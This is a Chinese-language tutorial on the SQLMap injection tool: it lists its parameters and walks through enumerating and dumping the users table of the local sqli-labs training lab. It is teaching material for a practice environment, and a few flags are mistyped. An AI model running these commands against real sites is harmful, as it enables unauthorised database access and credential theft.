一、SQLMap介绍
SQLMap 是一款强大的开源自动化 SQL 注入工具，用于检测和利用 Web 应用程序中的 SQL 注入漏洞。其工作原理是SQLMap 通过向目标 URL 发送带有特殊构造的 SQL 语句的请求，观察目标应用程序的响应，来判断是否存在 SQL 注入漏洞。例如，它会尝试在 URL 参数中添加单引号、注释符号等特殊字符，观察应用程序是否返回异常信息。如果发现存在漏洞，SQLMap 会根据漏洞类型和目标数据库的特点，构造合适的 SQL 注入语句，以获取所需的信息或执行命令。例如，通过联合查询注入，可以将恶意查询与原查询合并，从数据库中获取额外的数据。
SQLMap工具地址：
官方网站：sqlmap: automatic SQL injection and database takeover tool
https://sqlmap.org/
GitHub项目地址：https://github.com/sqlmapproject/sqlmap
二、SQLMap使用前言
在使用SQLMap这款工具前，需提前安装好python编译工具，本次使用结合sqli-labs-master靶场进行演示
注意：在SQLMap安装目录下使用，如
红色框住部分输入cmd，然后点击回车，进入命令行界面
三、SQLMap基本参数
可输入sqlmap.py --help 或 sqlmap/py -h 进行指令查看
-d 指定直接数据库连接得连接字符串，直接连接到数据库。
-u 指定URL目标
-I 从Burp或WebScarab代理得日志中解析目标
-m 扫描文本文件中给出得多个目标，批量扫描
-r 从文本中加载HTTP请求。 用 * 标记注入位置
-g 将Google Dork得结果作为目标URLh
-a 获取所有信息
-current-user 获取DBMS当前用户
--current-db 获取DBMS当前数据库
--hostname 获取DBMS当前主机名
--is-dba 检测当前用户是否为管理员用户
--users 查询DBMS用户
--passwords 查询DBMS用户密码hash
--dbs 查询DBMS数据库
--tables 查询DBMS数据库中得表
--columns 查询DBMS数据库表得列名
--dump 查询转储DBMS数据库表
--dump-all 转储DBMS所有数据库表
-D db_name 指定要求枚举的DBMS数据库名
-T table_name 指定要枚举得DBMS表
-C column_name 指定要枚举得DBMS列
--batch 从不询问用户输入，使用所有默认配置
常用语法：
查看所有数据库：python sqlmap.py -u "url地址/?id=1" --dbs --batch
查看某个数据库所有表名：python sqlmap.py -u "URL地址" -D 数据库名 --tables
查看某个数据库下某张表下所有字段名：python sqlmap.py -u "URL地址" -D 数据库 -T 表名 --columns四、迈入实践，以sqli-labs-master靶场第一关为例：
1、打开sqli-labs-master中第一关Less-1
2、输入python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --dbs
3、成功获取所有数据库库名
4、获取数据库security下所有的表名
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security --tables
5、获取数据库security下users表名下所有字段名
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security -T users --columns
6、获取数据库security下users表名下所有字段名的数据
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security -T users --dump
注：--dump命令请谨慎使用，切勿违法使用，使用--dump参数后，将会在计算机本地生成一个.csv表格数据存储，里面包含某个数据库某张表下所有字段的具体内容
五、拓展使用，以sqli-labs-master靶场为例子：
查询当前数据库：python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --current-db
查询当前数据库用户：python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --current-user
查询当前数据库版本信息：python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -banner
那么SQLMap这款工具简单介绍这里，SQLMap工具十分强大，以上只是部分用法，更多详细用法可结合官方操作文档去使用。